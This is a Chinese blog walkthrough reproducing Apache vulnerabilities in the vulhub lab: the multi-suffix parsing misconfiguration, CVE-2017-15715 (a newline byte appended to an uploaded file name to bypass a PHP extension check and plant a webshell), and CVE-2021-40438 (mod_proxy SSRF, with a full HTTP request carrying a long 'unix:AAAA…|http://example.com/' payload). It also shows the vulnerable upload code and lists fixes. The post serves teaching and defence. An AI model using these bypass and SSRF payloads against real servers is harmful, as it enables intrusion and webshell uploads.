Apache解析漏洞CVE-2017-15715、apache_parsing_vulnerability、CVE-2021-40438 vulhub复现分析

@Camelus

已于 2022-09-21 21:11:17 修改

阅读量2.7k

点赞数 2

分类专栏： vulhub漏洞复现文章标签：安全网络安全安全架构 php apache

于 2022-09-20 21:25:25 首次发布

本文链接：https://blog.csdn.net/m0_61506558/article/details/126944152

版权

vulhub漏洞复现专栏收录该内容

11 篇文章 6 订阅

订阅专栏

前言：

（一）漏洞简介

Apache目录结构

(二）apache_parsing_vulnerability

1、漏洞原理

2、漏洞修复

2.1 在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为.php.的访问权限

2.2 如果需要保留文件名，可以修改程序源代码，替换上传文件名中的“.”为“_”：

2.4 查看index.php文件中的php源码

前言：

解析漏洞主要说的是一些特殊文件被IIS 、 Apache 、 Nginx 在某种情况下被解释成脚本文件格式的漏洞。

如有不当，烦请评论捉虫，我会在第一时间响应并评论提示，谢谢。

（一）漏洞简介

Apache文件解析漏洞与用户的配置有密切关系。严格来说，属于用户配置问题，其实apache本身根本不存在所谓的解析漏洞。

Apache目录结构

bin：存放常用命令工具，如httpd
cgi-bin：存放linux下常用命令，如xxx.sh
error：错误记录
htdocs：网站源码
icons：网站图标
manual：手册
modules：扩展模块

(二）apache_parsing_vulnerability

1、漏洞原理

Apache默认一个文件可以有多个以点分隔的后缀 , 当右边的后缀无法识别 ( 不在 mime.types 内 ), 则继续向左识别。当我们请求这样一个文件:1.php.aaa aaa -> 无法识别 , 向左 php -> 发现后缀是 php ，交给 php 处理这个文件最后一步虽然交给了php 来处理这个文件，但是 php 也不认识 .aaa 的后缀 , 不解析

其实，解析漏洞的产生, 是由于运维人员在配置服务器时，为了使 apache 服务器能解析 php ，而自己添加一个handler

AddType application/xhttpdphp .php

它的作用也是为了让 apache 把 php 文件交给 php_module 解析 , 但是注意到它与 SetHandler: 它的后缀不是用正则去匹配的。所以 ,在文件名的任何位置匹配到php后缀,它都会让php_module解析。

感兴趣的可以去vulhub去复现一下，用phpstudy也可以复现

2、漏洞修复

不要使用AddHandler, 改用 SetHandler, 写好正则 , 就不会有解析问题，

2.1 在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为.php.的访问权限

<FilesMatch ".(php.|php3.|php4.|php5.)"> 
    Order Deny,Allow Deny from all 
</FilesMatch>

2.2 如果需要保留文件名，可以修改程序源代码，替换上传文件名中的“.”为“_”：

$filename = str_replace('.', '_', $filename);

（三）CVE-2017-15715

Apache HTTPD是一款 HTTP 服务器，它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析漏洞，在解析PHP 时， 1.php\x0a 将被按照 PHP 后缀进行解析，导致绕过一些服务器的安全策略。

1、漏洞原理

Apache 这次解析漏洞的根本原因就是这个 $ ，正则表达式中，我们都知道 $ 用来匹配字符串结尾位置.

$符号: 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性，则 $ 也匹配 '\n' 或 '\r'。要匹配 $ 字符本身，请使用 \$。

如果设置MULTILINE标示，就当作换符处理，如果不设置就当作一行文本处理

我们打开httpd-php.conf,通过正则匹配到$结尾，刚刚那个只要有.php就解析

举个例子：

我们打开PyCharm,先写一个正常的123.php

再写非正常的试试，什么都没有匹配到

添加\n换行符，成功绕过

2、漏洞复现

2.1 进入靶场

2.2 启动并查看端口号

IP+端口

2.3 查看配置

本次实验是 vulhub 下的，所以找到 apache 配置文件，路径在 /etc/apache2/ 下， apache2.conf 是 apache 核心配置文件查看其文件发现如下代码：意思是包含这两个文件下的以conf 结尾的文件

IncludeOptional confenabled/*.conf 
IncludeOptional sitesenabled/*.conf

跟进该文件发现关于 php 的配置文件为 docker-php.conf, 打开为如下：

<FilesMatch \.php$> 
    SetHandler application/xhttpdphp 
</FilesMatch>

可以看到在正则中是 \.php$, 因为结尾有个 $ 符号，结合上述原理， $ 匹配配 '\n' 或 '\r' ，所以我们修改数据包在文件名后加\n ， \n 的十六进制为 0a

2.4 查看index.php文件中的php源码

<?php if(isset($_FILES['file'])) 
    { 
        $name = basename($_POST['name']); 
        $ext = pathinfo($name,PATHINFO_EXTENSION); 
        if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) 
        { 
            exit('bad file'); }
            move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); }
 else { 
?>

分析代码文件名$name 是接受 POST 请求中的数据， POST 接收不会去掉我们添加的\n,如果使用 $_FILES['file']['name'] 去接收文件名，则会把 \n 去掉，所以要满足此漏洞的条件之一就是使用 POST接收文件名。

$ext等于POST中的文件名后缀，所以文件名不能是['php', 'php3', 'php4', 'php5', 'phtml', 'pht']，但是可以是 php\n的这种方式，就绕过了if判断。

2.5 BP抓包操作

1、首先访问漏洞页面，并且进行burp抓包，可以看到POST请求中name为evil.php

2 、将数据包进行修改在 evil.php 后面添加 \n 也就是十六进制 0A

3、访问webshell使用工具连接

4、记得关闭docker

3、漏洞修复

升级到最新版本
或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行脚本权限
获取文件名时用“去掉换行”的函数，比如 $_FILES['file']['name']
在httpd.conf中加入其他正则表达式。

（四）CVE-2021-40438

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.48及以前的版本中，mod_proxy模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址，进而导致SSRF漏洞。

1、前置学习

首先解释几个概念

1.1 mod_proxy 反向代理

顾名思义，这个模块与其相关模块为 Apache HTTP Server 实现代理 / 网关。

对于High-performance PHP on apache httpd 2.4.x using mod_proxy_fcgi and php-fpm 这种方式，本质就是 Apache 作为反代服务器用 mod_proxy_fcgi 这个子模块请求转发给 PHP-FPM ，而 PHP-FPM 监听的方式，也就是接收 Apache 转过去时处理 PHP 的请求的方式，有两种：

1、TCP Socket（ip and port）

ProxyPass / http://www.example.com:port

2、UDS （Unix Domain Socket）

只在Apache 2.4.7 及更高版本中支持。可以通过使用位于 unix:/path/app.sock| 前面的目标来支持使用 UDS 。例如，要代理 HTTP 并将 UDS 定位于 /home/www.socket ，应使用 unix:/home/www.socket|http://localhost/whatever/

ProxyPass / unix:/path/to/app.sock|http://example.com/app/name

对于反向代理而言， Apache 转发代理，也就是 Apache 发送请求给 PHP-FPM 的方式有三种，其中一种叫 ProxyPass ，这是指令，允许将远程服务器 Map 到本地服务器（反向代理 / 网关）的空间，对于不同监听方式的指令例子如上所示。

1.2 Apache hook 机制

说起 Apache Module 不能不提起 Apache hook，想要处理请求，要做的第一件事就是在请求处理过程中创建一个 hook，所有处理程序，就比如我们上面说到的 mod_proxy ，都会被挂接到请求过程的特定部分。服务器本身是不知道哪个模块负责处理特定请求的，所以会询问每个模块是否对给定请求感兴趣。然后，由每个模块决定是否像身份验证 / 授权模块那样拒绝服务请求，接受服务请求或拒绝服务请求，就像下图一样

为了使诸如 mod_example 之类的处理程序更容易知道 Client 端是否在请求我们应处理的内容，服务器具有用于向模块提示是否需要其协助的指令。其中两个是 AddHandler 和 SetHandler（在CVE-2017-15715也有提到）

比如我们想通过创建合适的 Handler 传递，将请求强制处理为反向代理请求：

<FilesMatch "\.php$">
    # Unix sockets require 2.4.7 or later
    SetHandler  "proxy:unix:/path/to/app.sock|fcgi://localhost/"
</FilesMatch>

这个例子是使用反向代理将对 PHP 脚本的所有请求传递到指定的 FastCGI 服务器，和之前 UDS 的例子很相像，一个 Module 通常是在 Handler 中创建一个 hook，例如：

如上，继而就会在 example_handler 这个函数中处理请求，mod_proxy 也有这样的 Handler

1.3 request_rec 结构

任何请求中最重要的部分是 request record 。在对处理程序函数的调用中，这由与进行的每次调用一起传递的 request_rec* 结构表示。该结构在模块中通常简称为 r ，包含模块完全处理任何 HTTP 请求并相应做出响应所需的所有信息。

https://www.anquanke.com/post/id/263175

Apache mod_proxy SSRF（CVE-2021-40438）的一点分析和延伸 | 离别歌

Building a POC for CVE-2021-40438 – Firzens Blog

Apache SSRF: an all-you-can-eat reverse proxy > Cydrill Software Security

PHP 作为 Apache 的一个子模块来运行，用 LoadModule 加载模块，最主要的模块就是 mod_php,还有二种加载模块这里不做介绍，《Building a POC for CVE-2021-40438》这篇文章中提到了这个漏洞的复现方法：当目标环境使用了mod_proxy做反向代理，比如ProxyPass / "http://localhost:8000/"，此时通过请求http://target/?unix:{'A'*5000}|http://example.com/即可向http://example.com发送请求，造成一个SSRF攻击。

（笔者能力有限，想研究具体代码审计过程可以看上面篇文章，等我研究明白了，再重新分享思路）

2、漏洞复现

1、进入靶场

2、输入payload,BP抓包


GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

3、关闭环境

@Camelus

关注

2
点赞
踩
5

收藏

觉得还不错? 一键收藏
打赏
1
评论
Apache解析漏洞CVE-2017-15715、apache_parsing_vulnerability、CVE-2021-40438 vulhub复现分析

解析漏洞主要说的是一些特殊文件被IIS、Apache、Nginx在某种情况下被解释成脚本文件格式的漏洞。（一）漏洞简介Apache文件解析漏洞与用户的配置有密切关系。严格来说，属于用户配置问题，其实apache本身根本不存在所谓的解析漏洞。
复制链接

扫一扫